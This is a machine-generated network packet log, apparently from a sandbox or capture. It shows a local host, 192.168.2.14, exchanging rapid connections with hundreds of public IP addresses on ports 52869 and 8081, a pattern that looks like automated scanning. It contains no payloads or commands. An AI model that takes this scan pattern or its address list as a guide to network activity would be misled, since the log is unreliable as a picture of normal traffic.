Jul 20, 2024 23:01:02.735250950 CEST	52869	49909	83.45.74.241	192.168.2.14
Jul 20, 2024 23:01:02.735260963 CEST	52869	49909	135.9.251.92	192.168.2.14
Jul 20, 2024 23:01:02.735265970 CEST	52869	49909	153.66.173.34	192.168.2.14
Jul 20, 2024 23:01:02.735270023 CEST	52869	49909	50.36.34.119	192.168.2.14
Jul 20, 2024 23:01:02.735279083 CEST	52869	49909	106.58.163.136	192.168.2.14
Jul 20, 2024 23:01:02.735289097 CEST	52869	49909	149.185.136.241	192.168.2.14
Jul 20, 2024 23:01:02.735292912 CEST	52869	49909	134.4.219.148	192.168.2.14
Jul 20, 2024 23:01:02.735296965 CEST	52869	49909	17.215.234.66	192.168.2.14
Jul 20, 2024 23:01:02.735301971 CEST	52869	49909	146.78.107.66	192.168.2.14
Jul 20, 2024 23:01:02.735306025 CEST	52869	49909	197.175.176.39	192.168.2.14
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	91.173.80.34
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	97.116.245.239
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	147.88.112.207
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	209.84.135.1
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	83.45.74.241
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	65.33.48.70
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	135.9.251.92
Jul 20, 2024 23:01:02.735306978 CEST	49909	52869	192.168.2.14	153.66.173.34
Jul 20, 2024 23:01:02.735316992 CEST	52869	49909	177.233.62.147	192.168.2.14
Jul 20, 2024 23:01:02.735413074 CEST	49909	52869	192.168.2.14	50.36.34.119
Jul 20, 2024 23:01:02.735413074 CEST	49909	52869	192.168.2.14	106.58.163.136
Jul 20, 2024 23:01:02.735413074 CEST	49909	52869	192.168.2.14	134.4.219.148
Jul 20, 2024 23:01:02.735414028 CEST	49909	52869	192.168.2.14	149.185.136.241
Jul 20, 2024 23:01:02.735414028 CEST	49909	52869	192.168.2.14	17.215.234.66
Jul 20, 2024 23:01:02.735414028 CEST	49909	52869	192.168.2.14	146.78.107.66
Jul 20, 2024 23:01:02.735414028 CEST	49909	52869	192.168.2.14	197.175.176.39
Jul 20, 2024 23:01:02.735414028 CEST	49909	52869	192.168.2.14	177.233.62.147
Jul 20, 2024 23:01:02.735457897 CEST	8081	58516	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:02.735491991 CEST	58516	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:02.735749006 CEST	52869	43334	200.181.183.183	192.168.2.14
Jul 20, 2024 23:01:02.735816956 CEST	43334	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:02.736350060 CEST	47768	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:02.736661911 CEST	8081	49272	149.47.207.151	192.168.2.14
Jul 20, 2024 23:01:02.736694098 CEST	8081	39514	222.1.41.48	192.168.2.14
Jul 20, 2024 23:01:02.736702919 CEST	52869	60522	121.241.252.236	192.168.2.14
Jul 20, 2024 23:01:02.736704111 CEST	49272	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:02.736809015 CEST	39514	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:02.736809015 CEST	60522	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:02.736855984 CEST	8081	50165	99.186.213.9	192.168.2.14
Jul 20, 2024 23:01:02.736860991 CEST	8081	50165	146.214.234.236	192.168.2.14
Jul 20, 2024 23:01:02.736871004 CEST	8081	50165	116.156.96.160	192.168.2.14
Jul 20, 2024 23:01:02.737112045 CEST	52869	56082	211.192.130.220	192.168.2.14
Jul 20, 2024 23:01:02.737117052 CEST	8081	50165	99.66.100.122	192.168.2.14
Jul 20, 2024 23:01:02.737126112 CEST	8081	50165	167.56.224.56	192.168.2.14
Jul 20, 2024 23:01:02.737131119 CEST	8081	50165	85.60.53.155	192.168.2.14
Jul 20, 2024 23:01:02.737140894 CEST	8081	50165	200.86.239.241	192.168.2.14
Jul 20, 2024 23:01:02.737152100 CEST	56082	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:02.737502098 CEST	8081	50165	194.233.221.255	192.168.2.14
Jul 20, 2024 23:01:02.737507105 CEST	8081	50165	132.38.168.215	192.168.2.14
Jul 20, 2024 23:01:02.737524033 CEST	8081	50165	32.237.40.200	192.168.2.14
Jul 20, 2024 23:01:02.737529039 CEST	52869	58474	177.133.134.55	192.168.2.14
Jul 20, 2024 23:01:02.737541914 CEST	8081	50165	68.98.144.100	192.168.2.14
Jul 20, 2024 23:01:02.737560987 CEST	8081	50165	48.188.134.231	192.168.2.14
Jul 20, 2024 23:01:02.737561941 CEST	58474	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:02.737565041 CEST	8081	50165	31.215.168.198	192.168.2.14
Jul 20, 2024 23:01:02.737575054 CEST	8081	50165	14.247.121.225	192.168.2.14
Jul 20, 2024 23:01:02.737581015 CEST	8081	50165	2.203.201.246	192.168.2.14
Jul 20, 2024 23:01:02.737586021 CEST	8081	50165	113.50.55.234	192.168.2.14
Jul 20, 2024 23:01:02.737590075 CEST	8081	50165	180.93.103.136	192.168.2.14
Jul 20, 2024 23:01:02.737610102 CEST	8081	50165	1.182.28.96	192.168.2.14
Jul 20, 2024 23:01:02.737611055 CEST	36146	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:02.737618923 CEST	52869	57236	82.44.225.133	192.168.2.14
Jul 20, 2024 23:01:02.737623930 CEST	52869	38530	101.71.112.133	192.168.2.14
Jul 20, 2024 23:01:02.737633944 CEST	8081	50165	175.88.62.171	192.168.2.14
Jul 20, 2024 23:01:02.737638950 CEST	8081	50165	82.27.229.242	192.168.2.14
Jul 20, 2024 23:01:02.737653017 CEST	57236	52869	192.168.2.14	82.44.225.133
Jul 20, 2024 23:01:02.737684965 CEST	44984	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:02.738065958 CEST	38530	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:02.740725994 CEST	8081	60310	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:02.740809917 CEST	52869	49909	153.185.164.115	192.168.2.14
Jul 20, 2024 23:01:02.740818977 CEST	52869	49909	1.111.166.37	192.168.2.14
Jul 20, 2024 23:01:02.740823030 CEST	52869	49909	17.23.40.165	192.168.2.14
Jul 20, 2024 23:01:02.741162062 CEST	52869	49909	12.46.102.32	192.168.2.14
Jul 20, 2024 23:01:02.741167068 CEST	52869	50060	82.86.85.182	192.168.2.14
Jul 20, 2024 23:01:02.741170883 CEST	52869	49909	138.53.14.84	192.168.2.14
Jul 20, 2024 23:01:02.741179943 CEST	52869	49909	135.243.6.48	192.168.2.14
Jul 20, 2024 23:01:02.741184950 CEST	52869	49909	194.226.80.98	192.168.2.14
Jul 20, 2024 23:01:02.741189003 CEST	52869	49909	116.14.217.224	192.168.2.14
Jul 20, 2024 23:01:02.741194010 CEST	50060	52869	192.168.2.14	82.86.85.182
Jul 20, 2024 23:01:02.741194010 CEST	52869	49909	115.120.198.75	192.168.2.14
Jul 20, 2024 23:01:02.741204023 CEST	52869	49909	212.127.72.224	192.168.2.14
Jul 20, 2024 23:01:02.741415024 CEST	52869	49909	219.16.37.73	192.168.2.14
Jul 20, 2024 23:01:02.741419077 CEST	52869	49909	154.168.140.106	192.168.2.14
Jul 20, 2024 23:01:02.741427898 CEST	52869	49909	200.162.3.54	192.168.2.14
Jul 20, 2024 23:01:02.741430044 CEST	40382	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:02.741511106 CEST	38976	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:02.741669893 CEST	52869	49909	75.112.248.70	192.168.2.14
Jul 20, 2024 23:01:02.741674900 CEST	8081	52376	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:02.741683960 CEST	52869	49909	179.0.72.180	192.168.2.14
Jul 20, 2024 23:01:02.741688013 CEST	52869	49909	32.136.186.54	192.168.2.14
Jul 20, 2024 23:01:02.741697073 CEST	52869	49909	96.72.200.44	192.168.2.14
Jul 20, 2024 23:01:02.741700888 CEST	52869	49909	43.211.213.244	192.168.2.14
Jul 20, 2024 23:01:02.741710901 CEST	52869	49909	43.215.199.181	192.168.2.14
Jul 20, 2024 23:01:02.741714954 CEST	52869	49909	13.24.133.199	192.168.2.14
Jul 20, 2024 23:01:02.741719007 CEST	52869	49909	195.75.251.163	192.168.2.14
Jul 20, 2024 23:01:02.741981030 CEST	52869	49909	108.192.127.61	192.168.2.14
Jul 20, 2024 23:01:02.741986036 CEST	52869	49909	119.249.21.140	192.168.2.14
Jul 20, 2024 23:01:02.741995096 CEST	52869	49909	192.121.40.185	192.168.2.14
Jul 20, 2024 23:01:02.741998911 CEST	52869	49909	100.231.105.65	192.168.2.14
Jul 20, 2024 23:01:02.742007971 CEST	52869	49909	219.198.135.13	192.168.2.14
Jul 20, 2024 23:01:02.742012024 CEST	52869	49909	171.17.107.6	192.168.2.14
Jul 20, 2024 23:01:02.742019892 CEST	52869	49909	220.205.61.196	192.168.2.14
Jul 20, 2024 23:01:02.742230892 CEST	60310	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:02.742230892 CEST	52376	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:02.742619991 CEST	52869	49909	169.53.124.132	192.168.2.14
Jul 20, 2024 23:01:02.742624998 CEST	52869	49909	132.253.46.156	192.168.2.14
Jul 20, 2024 23:01:02.742634058 CEST	52869	49909	31.32.65.136	192.168.2.14
Jul 20, 2024 23:01:02.742639065 CEST	52869	49909	182.31.74.149	192.168.2.14
Jul 20, 2024 23:01:02.742646933 CEST	52869	49909	137.23.48.175	192.168.2.14
Jul 20, 2024 23:01:02.742651939 CEST	52869	49909	168.60.119.19	192.168.2.14
Jul 20, 2024 23:01:02.742655993 CEST	52869	49909	186.35.232.46	192.168.2.14
Jul 20, 2024 23:01:02.742660046 CEST	52869	49909	163.188.24.253	192.168.2.14
Jul 20, 2024 23:01:02.742674112 CEST	52869	49909	171.204.203.120	192.168.2.14
Jul 20, 2024 23:01:02.742697001 CEST	52869	49909	17.255.239.226	192.168.2.14
Jul 20, 2024 23:01:02.742707014 CEST	52869	49909	191.168.20.192	192.168.2.14
Jul 20, 2024 23:01:02.742711067 CEST	52869	42316	39.70.52.243	192.168.2.14
Jul 20, 2024 23:01:02.742714882 CEST	52869	49909	83.123.30.184	192.168.2.14
Jul 20, 2024 23:01:02.742718935 CEST	52869	49909	161.140.241.15	192.168.2.14
Jul 20, 2024 23:01:02.742722988 CEST	52869	49909	1.92.60.4	192.168.2.14
Jul 20, 2024 23:01:02.742731094 CEST	52869	49909	66.16.64.126	192.168.2.14
Jul 20, 2024 23:01:02.742733955 CEST	42316	52869	192.168.2.14	39.70.52.243
Jul 20, 2024 23:01:02.742736101 CEST	52869	49909	39.131.115.52	192.168.2.14
Jul 20, 2024 23:01:02.742739916 CEST	52869	49909	92.71.142.45	192.168.2.14
Jul 20, 2024 23:01:02.742748976 CEST	52869	49909	110.249.44.246	192.168.2.14
Jul 20, 2024 23:01:02.742753029 CEST	52869	49909	64.190.148.218	192.168.2.14
Jul 20, 2024 23:01:02.742768049 CEST	52869	49909	187.60.251.60	192.168.2.14
Jul 20, 2024 23:01:02.742773056 CEST	52869	49909	9.225.145.40	192.168.2.14
Jul 20, 2024 23:01:02.742775917 CEST	52869	49909	223.106.64.35	192.168.2.14
Jul 20, 2024 23:01:02.742779970 CEST	52869	49909	201.103.148.203	192.168.2.14
Jul 20, 2024 23:01:02.742793083 CEST	52869	49909	196.11.222.111	192.168.2.14
Jul 20, 2024 23:01:02.742795944 CEST	52869	49909	1.253.230.38	192.168.2.14
Jul 20, 2024 23:01:02.742808104 CEST	52869	49909	106.150.235.21	192.168.2.14
Jul 20, 2024 23:01:02.742813110 CEST	52869	49909	43.88.59.117	192.168.2.14
Jul 20, 2024 23:01:02.744537115 CEST	52869	49909	62.156.52.206	192.168.2.14
Jul 20, 2024 23:01:02.744541883 CEST	52869	49909	150.134.74.224	192.168.2.14
Jul 20, 2024 23:01:02.744550943 CEST	52869	49909	178.212.128.192	192.168.2.14
Jul 20, 2024 23:01:02.745112896 CEST	52869	49909	146.79.24.5	192.168.2.14
Jul 20, 2024 23:01:02.745116949 CEST	52869	49909	91.188.220.133	192.168.2.14
Jul 20, 2024 23:01:02.745126009 CEST	8081	46882	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:02.745130062 CEST	52869	49909	146.195.88.135	192.168.2.14
Jul 20, 2024 23:01:02.745134115 CEST	52869	49909	221.17.80.159	192.168.2.14
Jul 20, 2024 23:01:02.745137930 CEST	52869	49909	125.49.52.26	192.168.2.14
Jul 20, 2024 23:01:02.745151997 CEST	52869	49909	163.2.210.107	192.168.2.14
Jul 20, 2024 23:01:02.745157003 CEST	8081	44202	150.134.66.131	192.168.2.14
Jul 20, 2024 23:01:02.745161057 CEST	52869	49909	67.154.9.244	192.168.2.14
Jul 20, 2024 23:01:02.745170116 CEST	52869	49909	50.22.243.251	192.168.2.14
Jul 20, 2024 23:01:02.745173931 CEST	52869	49909	65.69.17.55	192.168.2.14
Jul 20, 2024 23:01:02.745182037 CEST	52869	49909	60.38.243.133	192.168.2.14
Jul 20, 2024 23:01:02.745186090 CEST	52869	49909	175.31.191.19	192.168.2.14
Jul 20, 2024 23:01:02.745189905 CEST	52869	49909	147.161.211.50	192.168.2.14
Jul 20, 2024 23:01:02.745193958 CEST	52869	49909	147.23.35.133	192.168.2.14
Jul 20, 2024 23:01:02.745198011 CEST	52869	49909	86.30.12.109	192.168.2.14
Jul 20, 2024 23:01:02.745207071 CEST	52869	49909	209.43.64.217	192.168.2.14
Jul 20, 2024 23:01:02.745210886 CEST	52869	49909	103.19.54.33	192.168.2.14
Jul 20, 2024 23:01:02.745214939 CEST	52869	49909	99.115.156.20	192.168.2.14
Jul 20, 2024 23:01:02.745282888 CEST	44202	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:02.745379925 CEST	52869	49909	73.117.253.69	192.168.2.14
Jul 20, 2024 23:01:02.745384932 CEST	52869	49909	221.222.29.218	192.168.2.14
Jul 20, 2024 23:01:02.745393991 CEST	52869	49909	151.170.170.65	192.168.2.14
Jul 20, 2024 23:01:02.745398998 CEST	52869	49909	86.154.34.127	192.168.2.14
Jul 20, 2024 23:01:02.745414972 CEST	52869	49909	44.31.23.212	192.168.2.14
Jul 20, 2024 23:01:02.745421886 CEST	52869	49909	183.196.130.211	192.168.2.14
Jul 20, 2024 23:01:02.745435953 CEST	52869	49909	27.236.221.138	192.168.2.14
Jul 20, 2024 23:01:02.745440006 CEST	52869	49909	70.93.65.194	192.168.2.14
Jul 20, 2024 23:01:02.745444059 CEST	52869	49909	216.24.156.23	192.168.2.14
Jul 20, 2024 23:01:02.745452881 CEST	52869	49909	12.221.177.77	192.168.2.14
Jul 20, 2024 23:01:02.745456934 CEST	52869	49909	172.233.216.123	192.168.2.14
Jul 20, 2024 23:01:02.745460987 CEST	52869	49909	32.156.214.182	192.168.2.14
Jul 20, 2024 23:01:02.745465994 CEST	52869	49909	210.243.69.216	192.168.2.14
Jul 20, 2024 23:01:02.745470047 CEST	52869	49909	41.92.219.52	192.168.2.14
Jul 20, 2024 23:01:02.745479107 CEST	52869	49909	1.72.49.78	192.168.2.14
Jul 20, 2024 23:01:02.745712996 CEST	52869	49909	134.218.52.97	192.168.2.14
Jul 20, 2024 23:01:02.745717049 CEST	52869	49909	78.2.217.25	192.168.2.14
Jul 20, 2024 23:01:02.745726109 CEST	52869	49909	89.163.158.178	192.168.2.14
Jul 20, 2024 23:01:02.745731115 CEST	52869	49909	142.161.166.212	192.168.2.14
Jul 20, 2024 23:01:02.745739937 CEST	52869	49909	137.52.171.142	192.168.2.14
Jul 20, 2024 23:01:02.745743990 CEST	52869	49909	58.52.126.251	192.168.2.14
Jul 20, 2024 23:01:02.745748043 CEST	52869	49909	192.209.108.48	192.168.2.14
Jul 20, 2024 23:01:02.745752096 CEST	52869	49909	54.244.250.228	192.168.2.14
Jul 20, 2024 23:01:02.745760918 CEST	52869	49909	132.10.192.29	192.168.2.14
Jul 20, 2024 23:01:02.748115063 CEST	47274	8081	192.168.2.14	99.217.244.226
Jul 20, 2024 23:01:02.748773098 CEST	33976	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:02.748940945 CEST	8081	54268	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:02.749073029 CEST	54828	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:02.749321938 CEST	52869	47768	158.178.147.148	192.168.2.14
Jul 20, 2024 23:01:02.749325991 CEST	8081	44984	148.158.175.129	192.168.2.14
Jul 20, 2024 23:01:02.749464035 CEST	44984	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:02.749531984 CEST	47768	52869	192.168.2.14	158.178.147.148
Jul 20, 2024 23:01:02.749686956 CEST	49909	52869	192.168.2.14	204.90.152.24
Jul 20, 2024 23:01:02.749686956 CEST	49146	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:02.750124931 CEST	8081	36146	62.246.141.35	192.168.2.14
Jul 20, 2024 23:01:02.750165939 CEST	52869	38976	170.123.158.68	192.168.2.14
Jul 20, 2024 23:01:02.750178099 CEST	8081	40382	51.223.103.159	192.168.2.14
Jul 20, 2024 23:01:02.750227928 CEST	54268	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:02.750448942 CEST	46882	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:02.750669956 CEST	40382	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:02.752214909 CEST	58530	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:02.752630949 CEST	38976	52869	192.168.2.14	170.123.158.68
Jul 20, 2024 23:01:02.753005981 CEST	50165	8081	192.168.2.14	99.186.213.9
Jul 20, 2024 23:01:02.753005981 CEST	50165	8081	192.168.2.14	146.214.234.236
Jul 20, 2024 23:01:02.753005981 CEST	50165	8081	192.168.2.14	116.156.96.160
Jul 20, 2024 23:01:02.753005981 CEST	50165	8081	192.168.2.14	99.66.100.122
Jul 20, 2024 23:01:02.753005981 CEST	50165	8081	192.168.2.14	167.56.224.56
Jul 20, 2024 23:01:02.753329992 CEST	50165	8081	192.168.2.14	85.60.53.155
Jul 20, 2024 23:01:02.753329992 CEST	50165	8081	192.168.2.14	200.86.239.241
Jul 20, 2024 23:01:02.753329992 CEST	50165	8081	192.168.2.14	194.233.221.255
Jul 20, 2024 23:01:02.753329992 CEST	50165	8081	192.168.2.14	132.38.168.215
Jul 20, 2024 23:01:02.753329992 CEST	50165	8081	192.168.2.14	32.237.40.200
Jul 20, 2024 23:01:02.753329992 CEST	50165	8081	192.168.2.14	68.98.144.100
Jul 20, 2024 23:01:02.753330946 CEST	50165	8081	192.168.2.14	48.188.134.231
Jul 20, 2024 23:01:02.753330946 CEST	50165	8081	192.168.2.14	31.215.168.198
Jul 20, 2024 23:01:02.753388882 CEST	50165	8081	192.168.2.14	14.247.121.225
Jul 20, 2024 23:01:02.753388882 CEST	50165	8081	192.168.2.14	2.203.201.246
Jul 20, 2024 23:01:02.753388882 CEST	50165	8081	192.168.2.14	113.50.55.234
Jul 20, 2024 23:01:02.753388882 CEST	50165	8081	192.168.2.14	180.93.103.136
Jul 20, 2024 23:01:02.753390074 CEST	50165	8081	192.168.2.14	1.182.28.96
Jul 20, 2024 23:01:02.753390074 CEST	50165	8081	192.168.2.14	175.88.62.171
Jul 20, 2024 23:01:02.753390074 CEST	50165	8081	192.168.2.14	82.27.229.242
Jul 20, 2024 23:01:02.754101992 CEST	49909	52869	192.168.2.14	153.185.164.115
Jul 20, 2024 23:01:02.754101992 CEST	49909	52869	192.168.2.14	1.111.166.37
Jul 20, 2024 23:01:02.754101992 CEST	49909	52869	192.168.2.14	17.23.40.165
Jul 20, 2024 23:01:02.754101992 CEST	49909	52869	192.168.2.14	12.46.102.32
Jul 20, 2024 23:01:02.754101992 CEST	49909	52869	192.168.2.14	138.53.14.84
Jul 20, 2024 23:01:02.754101992 CEST	49909	52869	192.168.2.14	194.226.80.98
Jul 20, 2024 23:01:02.754101992 CEST	49909	52869	192.168.2.14	135.243.6.48
Jul 20, 2024 23:01:02.754209995 CEST	8081	33976	192.158.1.164	192.168.2.14
Jul 20, 2024 23:01:02.754219055 CEST	8081	47274	99.217.244.226	192.168.2.14
Jul 20, 2024 23:01:02.754239082 CEST	33976	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:02.754255056 CEST	52869	54828	40.122.199.14	192.168.2.14
Jul 20, 2024 23:01:02.754354954 CEST	54828	52869	192.168.2.14	40.122.199.14
Jul 20, 2024 23:01:02.755156040 CEST	49909	52869	192.168.2.14	116.14.217.224
Jul 20, 2024 23:01:02.755156040 CEST	49909	52869	192.168.2.14	115.120.198.75
Jul 20, 2024 23:01:02.755156040 CEST	49909	52869	192.168.2.14	212.127.72.224
Jul 20, 2024 23:01:02.755156040 CEST	49909	52869	192.168.2.14	219.16.37.73
Jul 20, 2024 23:01:02.755156040 CEST	49909	52869	192.168.2.14	154.168.140.106
Jul 20, 2024 23:01:02.755156040 CEST	49909	52869	192.168.2.14	200.162.3.54
Jul 20, 2024 23:01:02.755156994 CEST	49909	52869	192.168.2.14	75.112.248.70
Jul 20, 2024 23:01:02.755156994 CEST	49909	52869	192.168.2.14	179.0.72.180
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	32.136.186.54
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	96.72.200.44
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	43.211.213.244
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	43.215.199.181
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	13.24.133.199
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	195.75.251.163
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	119.249.21.140
Jul 20, 2024 23:01:02.755249023 CEST	49909	52869	192.168.2.14	108.192.127.61
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	192.121.40.185
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	100.231.105.65
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	171.17.107.6
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	220.205.61.196
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	219.198.135.13
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	169.53.124.132
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	132.253.46.156
Jul 20, 2024 23:01:02.755322933 CEST	49909	52869	192.168.2.14	31.32.65.136
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	182.31.74.149
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	186.35.232.46
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	137.23.48.175
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	163.188.24.253
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	168.60.119.19
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	171.204.203.120
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	17.255.239.226
Jul 20, 2024 23:01:02.755430937 CEST	49909	52869	192.168.2.14	191.168.20.192
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	83.123.30.184
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	161.140.241.15
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	1.92.60.4
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	66.16.64.126
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	39.131.115.52
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	92.71.142.45
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	110.249.44.246
Jul 20, 2024 23:01:02.755565882 CEST	49909	52869	192.168.2.14	64.190.148.218
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	187.60.251.60
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	223.106.64.35
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	9.225.145.40
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	201.103.148.203
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	196.11.222.111
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	1.253.230.38
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	43.88.59.117
Jul 20, 2024 23:01:02.755624056 CEST	49909	52869	192.168.2.14	106.150.235.21
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	62.156.52.206
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	150.134.74.224
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	178.212.128.192
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	91.188.220.133
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	146.79.24.5
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	146.195.88.135
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	221.17.80.159
Jul 20, 2024 23:01:02.755734921 CEST	49909	52869	192.168.2.14	163.2.210.107
Jul 20, 2024 23:01:02.755819082 CEST	49909	52869	192.168.2.14	125.49.52.26
Jul 20, 2024 23:01:02.755819082 CEST	49909	52869	192.168.2.14	67.154.9.244
Jul 20, 2024 23:01:02.755820036 CEST	49909	52869	192.168.2.14	50.22.243.251
Jul 20, 2024 23:01:02.755820036 CEST	49909	52869	192.168.2.14	65.69.17.55
Jul 20, 2024 23:01:02.755820036 CEST	49909	52869	192.168.2.14	175.31.191.19
Jul 20, 2024 23:01:02.755820036 CEST	49909	52869	192.168.2.14	60.38.243.133
Jul 20, 2024 23:01:02.755820036 CEST	49909	52869	192.168.2.14	86.30.12.109
Jul 20, 2024 23:01:02.755820036 CEST	49909	52869	192.168.2.14	147.161.211.50
Jul 20, 2024 23:01:02.755903006 CEST	49909	52869	192.168.2.14	147.23.35.133
Jul 20, 2024 23:01:02.755903006 CEST	49909	52869	192.168.2.14	209.43.64.217
Jul 20, 2024 23:01:02.755903006 CEST	49909	52869	192.168.2.14	103.19.54.33
Jul 20, 2024 23:01:02.755903959 CEST	49909	52869	192.168.2.14	99.115.156.20
Jul 20, 2024 23:01:02.755903959 CEST	49909	52869	192.168.2.14	73.117.253.69
Jul 20, 2024 23:01:02.755903959 CEST	49909	52869	192.168.2.14	221.222.29.218
Jul 20, 2024 23:01:02.755903959 CEST	49909	52869	192.168.2.14	151.170.170.65
Jul 20, 2024 23:01:02.755903959 CEST	49909	52869	192.168.2.14	86.154.34.127
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	44.31.23.212
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	183.196.130.211
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	27.236.221.138
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	12.221.177.77
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	70.93.65.194
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	172.233.216.123
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	32.156.214.182
Jul 20, 2024 23:01:02.755970001 CEST	49909	52869	192.168.2.14	216.24.156.23
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	210.243.69.216
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	41.92.219.52
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	1.72.49.78
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	78.2.217.25
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	134.218.52.97
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	142.161.166.212
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	89.163.158.178
Jul 20, 2024 23:01:02.756047964 CEST	49909	52869	192.168.2.14	137.52.171.142
Jul 20, 2024 23:01:02.756119967 CEST	49909	52869	192.168.2.14	58.52.126.251
Jul 20, 2024 23:01:02.756119967 CEST	49909	52869	192.168.2.14	54.244.250.228
Jul 20, 2024 23:01:02.756119967 CEST	49909	52869	192.168.2.14	132.10.192.29
Jul 20, 2024 23:01:02.756119967 CEST	49909	52869	192.168.2.14	192.209.108.48
Jul 20, 2024 23:01:02.756119967 CEST	36146	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:02.756254911 CEST	41616	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:02.756478071 CEST	52869	60168	31.235.249.101	192.168.2.14
Jul 20, 2024 23:01:02.756848097 CEST	8081	49146	79.211.151.120	192.168.2.14
